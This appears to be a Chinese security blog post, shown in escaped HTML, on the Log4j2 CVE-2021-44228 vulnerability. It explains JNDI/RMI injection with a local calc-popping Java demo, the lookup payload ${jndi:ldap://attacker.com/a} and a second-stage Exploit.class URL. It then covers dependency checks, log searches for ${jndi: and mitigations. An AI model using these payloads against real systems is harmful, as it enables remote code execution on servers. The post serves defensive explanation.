![\"\"](\"https:\/\/lmceric.top\/wp-content\/uploads\/2021\/12\/1000.png\")
<\/figure>\n\n\n\n\u8d44\u6599\u6765\u6e90\uff1a<\/p>\n\n\n\n
\u963f\u91cc\u4e91\u6f0f\u6d1e\u9884\u8b66<\/p>\n\n\n\n
360\u5b89\u5168\u6f0f\u6d1e\u62a5\u544a<\/p>\n\n\n\n
\u817e\u8baf\u5b89\u5168<\/p>\n\n\n\n
1.\u9884\u5907\u77e5\u8bc6<\/h2>\n\n\n\n1.1 Apache<\/h3>\n\n\n\n
Apache\u662f\u4e16\u754c\u4f7f\u7528\u6392\u540d\u7b2c\u4e00\u7684Web\u670d\u52a1\u5668\u8f6f\u4ef6\u3002\u5b83\u53ef\u4ee5\u8fd0\u884c\u5728\u51e0\u4e4e\u6240\u6709\u5e7f\u6cdb\u4f7f\u7528\u7684\u8ba1\u7b97\u673a\u5e73\u53f0\u4e0a\uff0c\u7531\u4e8e\u5176\u8de8\u5e73\u53f0\u548c\u5b89\u5168\u6027\u88ab\u5e7f\u6cdb\u4f7f\u7528\uff0c\u662f\u6700\u6d41\u884c\u7684Web\u670d\u52a1\u5668\u7aef\u8f6f\u4ef6\u4e4b\u4e00\u3002\u5b83\u5feb\u901f\u3001\u53ef\u9760\u5e76\u4e14\u53ef\u901a\u8fc7\u7b80\u5355\u7684API\u6269\u5145\uff0c\u5c06Perl\/Python\u7b49\u89e3\u91ca\u5668\u7f16\u8bd1\u5230\u670d\u52a1\u5668\u4e2d\u3002<\/p>\n\n\n\n
1.2 log4j<\/h3>\n\n\n\n
Log4j\u662fApache\u7684\u4e00\u4e2a\u5f00\u6e90\u9879\u76ee\uff0c\u901a\u8fc7\u4f7f\u7528Log4j\uff0c\u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u65e5\u5fd7\u4fe1\u606f\u8f93\u9001\u7684\u76ee\u7684\u5730\u662f\u63a7\u5236\u53f0\u3001\u6587\u4ef6\u3001GUI\u7ec4\u4ef6\uff0c\u751a\u81f3\u662f\u5957\u63a5\u53e3\u670d\u52a1\u5668\u3001NT\u7684\u4e8b\u4ef6\u8bb0\u5f55\u5668\u3001UNIX Syslog\u5b88\u62a4\u8fdb\u7a0b\u7b49\uff1b\u6211\u4eec\u4e5f\u53ef\u4ee5\u63a7\u5236\u6bcf\u4e00\u6761\u65e5\u5fd7\u7684\u8f93\u51fa\u683c\u5f0f\uff1b\u901a\u8fc7\u5b9a\u4e49\u6bcf\u4e00\u6761\u65e5\u5fd7\u4fe1\u606f\u7684\u7ea7\u522b\uff0c\u6211\u4eec\u80fd\u591f\u66f4\u52a0\u7ec6\u81f4\u5730\u63a7\u5236\u65e5\u5fd7\u7684\u751f\u6210\u8fc7\u7a0b\u3002\u6700\u4ee4\u4eba\u611f\u5174\u8da3\u7684\u5c31\u662f\uff0c\u8fd9\u4e9b\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6\u6765\u7075\u6d3b\u5730\u8fdb\u884c\u914d\u7f6e\uff0c\u800c\u4e0d\u9700\u8981\u4fee\u6539\u5e94\u7528\u7684\u4ee3\u7801\u3002<\/p>\n\n\n\n
1.3 JNDI\u6ce8\u5165<\/h3>\n\n\n\n1.3.1 JNDI<\/h4>\n\n\n\n
JNDI\uff08\u5168\u79f0 \u901a\u8fc7RMI\u8fdb\u884cJNDI\u6ce8\u5165\uff0c\u653b\u51fb\u8005\u6784\u9020\u7684\u6076\u610fRMI\u670d\u52a1\u5668\u5411\u5ba2\u6237\u7aef\u8fd4\u56de\u4e00\u4e2a \u56e0\u4e3a \u670d\u52a1\u7aef\u4ee3\u7801\u5982\u4e0b<\/p>\n\n\n\n \u6076\u610f\u4ee3\u7801\uff08 \u5f53\u5ba2\u6237\u7aef\u901a\u8fc7 \u8c03\u7528\u6808\u5982\u4e0b<\/p>\n\n\n\n Apache Log4j2 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u7684\u8be6\u7ec6\u4fe1\u606f\u5df2\u88ab\u62ab\u9732\uff0c\u800c\u7ecf\u8fc7\u5206\u6790\uff0c\u672c\u6b21 Apache Log4j \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u6b63\u662f\u7531\u4e8e\u7ec4\u4ef6\u5b58\u5728 Java JNDI \u6ce8\u5165\u6f0f\u6d1e\uff1a\u5f53\u7a0b\u5e8f\u5c06\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u8bb0\u5165\u65e5\u5fd7\u65f6\uff0c\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u8bf7\u6c42\uff0c\u6765\u89e6\u53d1 Apache Log4j2 \u4e2d\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u4ece\u800c\u5229\u7528\u6b64\u6f0f\u6d1e\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n \u653b\u51fb\u539f\u7406\uff1a\uff08\u6765\u6e90 https:\/\/www.zhihu.com\/question\/504998020\/answer\/2265112632<\/a>\uff09<\/p>\n\n\n\n \u6839\u636e\u4e0a\u9762\u63d0\u4f9b\u7684\u653b\u51fb\u4ee3\u7801\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7JNDI<\/strong>\u6765\u6267\u884cLDAP<\/strong>\u534f\u8bae\u6765\u6ce8\u5165\u4e00\u4e9b\u975e\u6cd5\u7684\u53ef\u6267\u884c\u4ee3\u7801\u3002<\/p>\n\n\n\n \u653b\u51fb\u6b65\u9aa4<\/p>\n\n\n\n \u6f0f\u6d1e\u8bc4\u7ea7<\/strong><\/p>\n\n\n\n CVE-2021-44228 Apache Log4j \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e \u4e25\u91cd<\/p>\n\n\n\n \u5f71\u54cd\u7248\u672c<\/strong><\/p>\n\n\n\n Apache Log4j 2.x < 2.15.0<\/p>\n\n\n\n \u68c0\u6d4bpom\u4f9d\u8d56\u7248\u672c\u662f\u5426\u4f4e\u4e8e 2.15.0<\/p>\n\n\n\n \u68c0\u6d4bgradle\u4f9d\u8d56\u7248\u672c\u662f\u5426\u4f4e\u4e8e 2.15.0<\/p>\n\n\n\n \u68c0\u6d4bIvy\u4f9d\u8d56\u7248\u672c\u662f\u5426\u4f4e\u4e8e 2.15.0<\/p>\n\n\n\n \u68c0\u6d4bSBT\u4f9d\u8d56\u7248\u672c\u662f\u5426\u4f4e\u4e8e 2.15.0<\/p>\n\n\n\n \u82e5\u6ca1\u6709\u4f7f\u7528\u4e0a\u8ff0\u5de5\u5177\uff0c\u90a3\u4e48\u53ef\u4ee5\u5168\u5c40\u641c\u7d22\u9879\u76ee\u4e2d\u662f\u5426\u5b58\u5728 \\1. \u6392\u67e5\u65e5\u5fd7\u6216\u8005\u89e3\u7801\u540e\u5b8c\u6574\u7684\u8bf7\u6c42\u6570\u636e\u5305\u4e2d\u662f\u5426\u5b58\u5728 \\2. \u6392\u67e5\u65e5\u5fd7\u662f\u5426\u5b58\u5728\u76f8\u5173\u5806\u6808\u62a5\u9519\uff0c\u5806\u6808\u91cc\u662f\u5426\u6709 1\u3001\u6392\u67e5\u5e94\u7528\u662f\u5426\u5f15\u5165\u4e86Apache log4j-core Jar\u5305\uff0c\u82e5\u5b58\u5728\u4f9d\u8d56\u5f15\u5165\uff0c\u4e14\u5728\u53d7\u5f71\u54cd\u7248\u672c\u8303\u56f4\u5185\uff0c\u5219\u53ef\u80fd\u5b58\u5728\u6f0f\u6d1e\u5f71\u54cd\u3002\u8bf7\u5c3d\u5feb\u5347\u7ea7Apache Log4j2\u6240\u6709\u76f8\u5173\u5e94\u7528\u5230\u6700\u65b0\u7684 log4j-2.15.0 \u7248\u672c\uff0c\u5730\u5740 https:\/\/logging.apache.org\/log4j\/2.x\/download.html<\/a><\/p>\n\n\n\n 2\u3001\u5347\u7ea7\u5df2\u77e5\u53d7\u5f71\u54cd\u7684\u5e94\u7528\u53ca\u7ec4\u4ef6\uff0c\u5982 spring-boot-starter-log4j2\/Apache Struts2\/Apache Solr\/Apache Druid\/Apache Flink<\/p>\n\n\n\n 3\u3001\u4e34\u65f6\u7f13\u89e3\u65b9\u6848\u3002\u53ef\u5347\u7ea7jdk\u7248\u672c\u81f36u211 \/ 7u201 \/ 8u191 \/ 11.0.1\u4ee5\u4e0a\uff0c\u53ef\u4ee5\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u9650\u5236JNDI\u7b49\u6f0f\u6d1e\u5229\u7528\u65b9\u5f0f\u3002\u5bf9\u4e8e\u5927\u4e8e2.10\u7248\u672c\u7684Log4j\uff0c\u53ef\u8bbe\u7f6e log4j2.formatMsgNoLookups \u4e3a True\uff0c\u6216\u8005\u5c06 JndiLookup \u7c7b\u4ece classpath \u4e2d\u53bb\u9664\uff0c\u4f8b\u5982 zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class<\/p>\n\n\n\n \u5347\u7ea7\u5230\u6700\u65b0\u7248\u672c 2.15.0-rc2 \uff1a<\/p>\n\n\n\nJava Naming and Directory Interface<\/code>\uff09\u662f\u7528\u4e8e\u76ee\u5f55\u670d\u52a1\u7684Java API\uff0c\u5b83\u5141\u8bb8Java\u5ba2\u6237\u7aef\u901a\u8fc7\u540d\u79f0\u53d1\u73b0\u548c\u67e5\u627e\u6570\u636e\u548c\u8d44\u6e90(\u4ee5Java\u5bf9\u8c61\u7684\u5f62\u5f0f)\u3002\u4e0e\u4e0e\u4e3b\u673a\u7cfb\u7edf\u63a5\u53e3\u7684\u6240\u6709Java api\u4e00\u6837\uff0cJNDI\u72ec\u7acb\u4e8e\u5e95\u5c42\u5b9e\u73b0\u3002\u6b64\u5916\uff0c\u5b83\u6307\u5b9a\u4e86\u4e00\u4e2a\u670d\u52a1\u63d0\u4f9b\u8005\u63a5\u53e3(SPI)\uff0c\u8be5\u63a5\u53e3\u5141\u8bb8\u5c06\u76ee\u5f55\u670d\u52a1\u5b9e\u73b0\u63d2\u5165\u5230\u6846\u67b6\u4e2d\u3002\u901a\u8fc7JNDI\u67e5\u8be2\u7684\u4fe1\u606f\u53ef\u80fd\u7531\u670d\u52a1\u5668\u3001\u6587\u4ef6\u6216\u6570\u636e\u5e93\u63d0\u4f9b\uff0c\u9009\u62e9\u53d6\u51b3\u4e8e\u6240\u4f7f\u7528\u7684\u5b9e\u73b0\u3002<\/p>\n\n\n\n1.3.2 JNDI\u6ce8\u5165<\/h4>\n\n\n\n
JNDI<\/code>\u6ce8\u5165\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5728JNDI<\/code>\u63a5\u53e3\u5728\u521d\u59cb\u5316\u65f6\uff0c\u5982\uff1aInitialContext.lookup(URI)<\/code>\uff0c\u5982\u679cURI\u53ef\u63a7\uff0c\u90a3\u4e48\u5ba2\u6237\u7aef\u5c31\u53ef\u80fd\u4f1a\u88ab\u653b\u51fb<\/p>\n\n\n\n1.3.3 RMI<\/h4>\n\n\n\n
Reference<\/code>\u5bf9\u8c61\uff0cReference<\/code>\u5bf9\u8c61\u4e2d\u6307\u5b9a\u4ece\u8fdc\u7a0b\u52a0\u8f7d\u6784\u9020\u7684\u6076\u610fFactory<\/code>\u7c7b\uff0c\u5ba2\u6237\u7aef\u5728\u8fdb\u884clookup<\/code>\u7684\u65f6\u5019\uff0c\u4f1a\u4ece\u8fdc\u7a0b\u52a8\u6001\u52a0\u8f7d\u653b\u51fb\u8005\u6784\u9020\u7684\u6076\u610fFactory<\/code>\u7c7b\u5e76\u5b9e\u4f8b\u5316\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u6784\u9020\u65b9\u6cd5\u6216\u8005\u662f\u9759\u6001\u4ee3\u7801\u7b49\u5730\u65b9\u52a0\u5165\u6076\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\njavax.naming.Reference<\/code>\u6784\u9020\u65b9\u6cd5\u4e3a\uff1aReference(String className, String factory, String factoryLocation)<\/code>\uff0c<\/p>\n\n\n\nclassName<\/code> – \u8fdc\u7a0b\u52a0\u8f7d\u65f6\u6240\u4f7f\u7528\u7684\u7c7b\u540d<\/li>classFactory<\/code> – \u52a0\u8f7d\u7684class<\/code>\u4e2d\u9700\u8981\u5b9e\u4f8b\u5316\u7c7b\u7684\u540d\u79f0<\/li>classFactoryLocation<\/code> – \u63d0\u4f9bclasses<\/code>\u6570\u636e\u7684\u5730\u5740\u53ef\u4ee5\u662ffile\/ftp\/http<\/code>\u7b49\u534f\u8bae<\/li><\/ol>\n\n\n\nReference<\/code>\u6ca1\u6709\u5b9e\u73b0Remote<\/code>\u63a5\u53e3\u4e5f\u6ca1\u6709\u7ee7\u627fUnicastRemoteObject<\/code>\u7c7b\uff0c\u6545\u4e0d\u80fd\u4f5c\u4e3a\u8fdc\u7a0b\u5bf9\u8c61bind\u5230\u6ce8\u518c\u4e2d\u5fc3\uff0c\u6240\u4ee5\u9700\u8981\u4f7f\u7528ReferenceWrapper<\/code>\u5bf9Reference<\/code>\u7684\u5b9e\u4f8b\u8fdb\u884c\u4e00\u4e2a\u5c01\u88c5\u3002<\/p>\n\n\n\npackage demo;
\u200b
import com.sun.jndi.rmi.registry.ReferenceWrapper;
\u200b
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
\u200b
\u200b
public class RMIServer {
\u200b
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);
\u200b
Reference reference = new Reference(\"test\", \"test\", \"http:\/\/localhost\/\");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind(\"calc\", wrapper);
\u200b
}
}<\/pre>\n\n\n\ntest.class<\/code>\uff09\uff0c\u5c06\u5176\u7f16\u8bd1\u597d\u653e\u5230\u53ef\u8bbf\u95ee\u7684http<\/code>\u670d\u52a1\u5668<\/p>\n\n\n\nimport java.lang.Runtime;
\u200b
public class test{
public test() throws Exception{
Runtime.getRuntime().exec(\"calc\");
}
}<\/pre>\n\n\n\nInitialContext().lookup(\"rmi:\/\/127.0.0.1:7777\/calc\")<\/code>\u83b7\u53d6\u8fdc\u7a0b\u5bf9\u8c61\u65f6\uff0c\u4f1a\u6267\u884c\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801<\/p>\n\n\n\npackage demo;
\u200b
import javax.naming.InitialContext;
\u200b
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup(\"rmi:\/\/127.0.0.1:7777\/calc\");
}
}<\/pre>\n\n\n\ngetObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)<\/pre>\n\n\n\n1.3.4 JNDI\u89e6\u53d1 Apache Log4j2<\/h4>\n\n\n\n
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
\/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*\/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader(\"user-agent\");
\/\/ This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
\/\/ The attacker can set their User-Agent header to: ${jndi:ldap:\/\/attacker.com\/a}
log.info(\"Request User Agent:\" + userAgent);
String response = \"<h1>Hello There, \" + userAgent + \"!<\/h1>\";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}<\/pre>\n\n\n\n${jndi:ldap:\/\/attacker.com\/a}<\/code>\uff0cattacker.com<\/code>\u662f\u653b\u51fb\u8005\u63a7\u5236\u7684\u5730\u5740\u3002<\/li>attacker.com<\/code>\u8bf7\u6c42\u3002<\/li>attacker.com<\/code>\u5c31\u53ef\u4ee5\u5728\u54cd\u5e94\u4e2d\u6dfb\u52a0\u4e00\u4e9b\u6076\u610f\u7684\u53ef\u6267\u884c\u811a\u672c\uff0c\u6ce8\u5165\u5230\u670d\u52a1\u5668\u8fdb\u7a0b\u4e2d\uff0c\u4f8b\u5982\u53ef\u6267\u884c\u7684\u5b57\u8282\u7801http:\/\/second-stage.attacker.com\/Exploit.class<\/code>\u3002<\/li>2.\u6f0f\u6d1e\u5904\u7406<\/h2>\n\n\n\n
2.1 \u5185\u90e8\u81ea\u67e5<\/h3>\n\n\n\n
2.1.1 \u9879\u76ee\u4f9d\u8d56\u7248\u672c\u68c0\u6d4b<\/h4>\n\n\n\n
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j<\/groupId>
<artifactId>log4j-api<\/artifactId>
<version>2.15.0<\/version>
<\/dependency>
<dependency>
<groupId>org.apache.logging.log4j<\/groupId>
<artifactId>log4j-core<\/artifactId>
<version>2.15.0<\/version>
<\/dependency>
<\/dependencies><\/pre>\n\n\n\ndependencies {
compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.15.0'
compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.15.0'
} <\/pre>\n\n\n\n<dependencies>
<dependency org=\"org.apache.logging.log4j\" name=\"log4j-api\" rev=\"2.15.0\" \/>
<dependency org=\"org.apache.logging.log4j\" name=\"log4j-core\" rev=\"2.15.0\" \/>
<\/dependencies><\/pre>\n\n\n\nlibraryDependencies += \"org.apache.logging.log4j\" % \"log4j-api\" % \"2.15.0\"
libraryDependencies += \"org.apache.logging.log4j\" % \"log4j-core\" % \"2.15.0\"<\/pre>\n\n\n\nlog4j<\/code>\u7684\u76f8\u5173jar<\/code>\u5305\uff0c\u5e76\u901a\u8fc7jar<\/code>\u5305\u4e2d\u7684\/META-INF\/MANIFEST.MF<\/code>\u6587\u4ef6\u67e5\u770blog4j<\/code>\u7684\u7248\u672c\u3002<\/p>\n\n\n\n2.1.2 \u65e5\u5fd7\/\u6d41\u91cf\u6392\u67e5<\/h4>\n\n\n\n
${jndi:<\/code>\u5173\u952e\u5b57\u3002<\/p>\n\n\n\nJndiLookup<\/code>\u3001ldapURLContext<\/code>\u3001getObjectFactoryFromReference<\/code>\u7b49\u4e0e jndi \u8c03\u7528\u76f8\u5173\u7684\u5806\u6808\u4fe1\u606f\u3002<\/p>\n\n\n\n2.2 \u4fee\u590d<\/h3>\n\n\n\n
2.2.1\u901a\u7528\u4fee\u8865<\/h4>\n\n\n\n